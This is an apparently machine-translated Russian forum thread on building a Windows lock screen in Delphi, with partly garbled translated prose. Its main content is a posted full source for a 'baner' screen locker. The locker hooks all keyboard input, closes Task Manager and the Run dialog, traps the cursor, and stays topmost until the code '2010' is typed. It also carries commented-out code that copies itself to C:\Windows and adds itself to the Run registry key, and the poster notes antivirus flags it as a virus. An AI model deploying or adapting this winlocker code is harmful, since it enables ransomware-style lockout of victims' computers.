Lock window

And what exactly do you want to get?

If to be absolutely correct, then this “Windows blocking window” calls the graphical table on which you work, which can be minimized, through Win + L, in order to return to the authorization window.

Several options.

You can add a piece that will complement winlogon, as do some "want sms" viruses. But this is aerobatics, plus the resulting may not be too adequately perceived by antivirus. (Well, we are writing a legal and useful program, right?).

You can write your program and replace it with explorer.exe - then you will not have a standard desktop, but which one you will write. This is done by the key: HKEН_Local_Machine \ Software \ Microsoft \ Windows NT \ CurrentVersion \ Winlogon \ Shell

You can write a program that will be written to autoload (service) and blocking the standard desktop will request additional actions.

Lock the system keys. http://www.sql.ru/Forum/actualthread.aspx?bid=20&tid=81721&hl=

Once again - we are talking about legal software. About the manager for the computer club, about the program "solve the equation to play" (well, this is when to go in - the child must solve 2-3 simple examples (=> complex examples => equations => problem) to play around or sit in the internet Naturally in the course of increasing the complexity of the tasks, the complexity of the defense also had to be increased))

Win + L combination takes the user out of the system. If you need this, then dig in the WIN API. And if you need to permanently charge the monitor so that no one can do anything)) then put

BorderStyle :=bsNone; FormStyle := fsStayOnTop; WindowState.wsMaximized; 

and do what you want with it, but all the same in the API you will have to dig in order to block keyboard shortcuts like Ctrl + Esc, the same Win + L well, almost everything with Win and stuff like that.

We make a form without controls, intercept all system keystrokes. That's all, but keep in mind that the user session will be active and it will not be logged out.

Maybe this will help. Do not use this source for writing viruses. In the form of border style bsNone. This code blocks the movement of the cursor outside the form. Blocks the launch of the task manager. It is registered in autoload. Antivirus software is defined as a virus.

 unit Unit1; interface uses Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls, ExtCtrls, Registry, XPMan; type TForm1 = class(TForm) password: TEdit; Unlock: TButton; Timer1: TTimer; Button3: TButton; Button4: TButton; Button5: TButton; Button6: TButton; Button7: TButton; Button8: TButton; Button9: TButton; Button16: TButton; Button17: TButton; Button18: TButton; clear: TButton; winlockimage: TImage; procedure FormCreate(Sender: TObject); procedure Timer1Timer(Sender: TObject); procedure clearClick(Sender: TObject); procedure UnlockClick(Sender: TObject); procedure Button4Click(Sender: TObject); procedure Button5Click(Sender: TObject); procedure Button6Click(Sender: TObject); procedure Button8Click(Sender: TObject); procedure Button9Click(Sender: TObject); procedure Button3Click(Sender: TObject); procedure Button7Click(Sender: TObject); procedure Button16Click(Sender: TObject); procedure Button17Click(Sender: TObject); procedure Button18Click(Sender: TObject); procedure Button10Click(Sender: TObject); private { Private declarations } public procedure CreateWindowsRegions(const X, Y: Integer; const RegionHandle: THandle); end; var Form1: TForm1; m_OldMHook: HHook = 0; k_OldKBHook: HHook = 0; implementation {$R *.dfm} function KbHook(code: Integer; wparam: Word; lparam: LongInt): LongInt; stdcall; begin if code < 0 then Result := CallNextHookEx(k_oldKbHook, code, wparam, lparam) else Result := 1; end; procedure DelKey; var Reg: Tregistry; begin { Reg:=TRegistry.Create; Reg.RootKey:=HKEY_LOCAL_MACHINE; Reg.OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Run',true); Reg.DeleteValue(Application.Title); Reg.Free; } end; procedure TForm1.CreateWindowsRegions(const X, Y: Integer; const RegionHandle: THandle); var FirstRegion, CombineRegion : THandle; begin FirstRegion := CreateRoundRectRGN(0 + X, 0 + Y, 650 + X, 410 + Y, 55, 55); CombineRegion := FirstRegion; SetWindowRGN(RegionHandle, CombineRegion, true); end; procedure TForm1.FormCreate(Sender: TObject); var Reg: TRegistry; begin { CopyFile(PChar(ParamStr(0)), PChar('C:\Windows\' + ExtractFileName(ParamStr(0))), True); Reg:=TRegistry.Create; Reg.RootKey:=HKEY_LOCAL_MACHINE; Reg.OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Run',true); Reg.WriteString('baner','C:\Windows\baner.exe'); Reg.CloseKey; Reg.Free; } k_OldKbHook := SetWindowsHookEx(WH_KEYBOARD, @KbHook, HInstance, 0); end; procedure antio; var tit:HWND; begin tit:=FindWindow(nil, 'Диспетчер задач Windows'); if (tit>0) then PostMessage(tit, WM_QUIT, 1, 0); tit:=FindWindow(nil, 'Запуск программы'); if (tit>0) then PostMessage(tit, WM_QUIT, 1, 0); tit:=FindWindow(nil, 'Мой компьютер'); if (tit>0) then PostMessage(tit, WM_QUIT, 1, 0); end; procedure TForm1.Timer1Timer(Sender: TObject); var curs: TRect; begin antio; SetWindowPos(Handle,HWND_TOPMOST,Left,Top,Width,Height,SWP_NOACTIVATE Or SWP_NOMOVE Or SWP_NOSIZE); curs := Rect(Form1.Left+0, Form1.Top+0, Form1.Left + Form1.Width-0, Form1.Top + Form1.Height-0); ClipCursor(@curs); end; procedure TForm1.clearClick(Sender: TObject); begin password.text:=''; end; procedure TForm1.UnlockClick(Sender: TObject); begin if password.Text='2010' then begin { password.visible:=false; Button1.visible:=false; clear.visible:=false; button4.visible:=false; button3.visible:=false; button5.visible:=false; button6.visible:=false; button8.visible:=false; button9.visible:=false; button7.visible:=false; button16.visible:=false; button17.visible:=false; button18.visible:=false; } Close; DelKey; end else password.Text:='Неверный код'; end; procedure TForm1.Button4Click(Sender: TObject); begin password.text:=password.text+'1'; end; procedure TForm1.Button5Click(Sender: TObject); begin password.text:=password.text+'2'; end; procedure TForm1.Button6Click(Sender: TObject); begin password.text:=password.text+'3'; end; procedure TForm1.Button8Click(Sender: TObject); begin password.text:=password.text+'4'; end; procedure TForm1.Button9Click(Sender: TObject); begin password.text:=password.text+'5'; end; procedure TForm1.Button3Click(Sender: TObject); begin password.text:=password.text+'6'; end; procedure TForm1.Button7Click(Sender: TObject); begin password.text:=password.text+'7'; end; procedure TForm1.Button16Click(Sender: TObject); begin password.text:=password.text+'8'; end; procedure TForm1.Button17Click(Sender: TObject); begin password.text:=password.text+'9'; end; procedure TForm1.Button18Click(Sender: TObject); begin password.text:=password.text+'0'; end; procedure TForm1.Button10Click(Sender: TObject); begin Close; end; end. 

Taken from the site www.delphisources.ru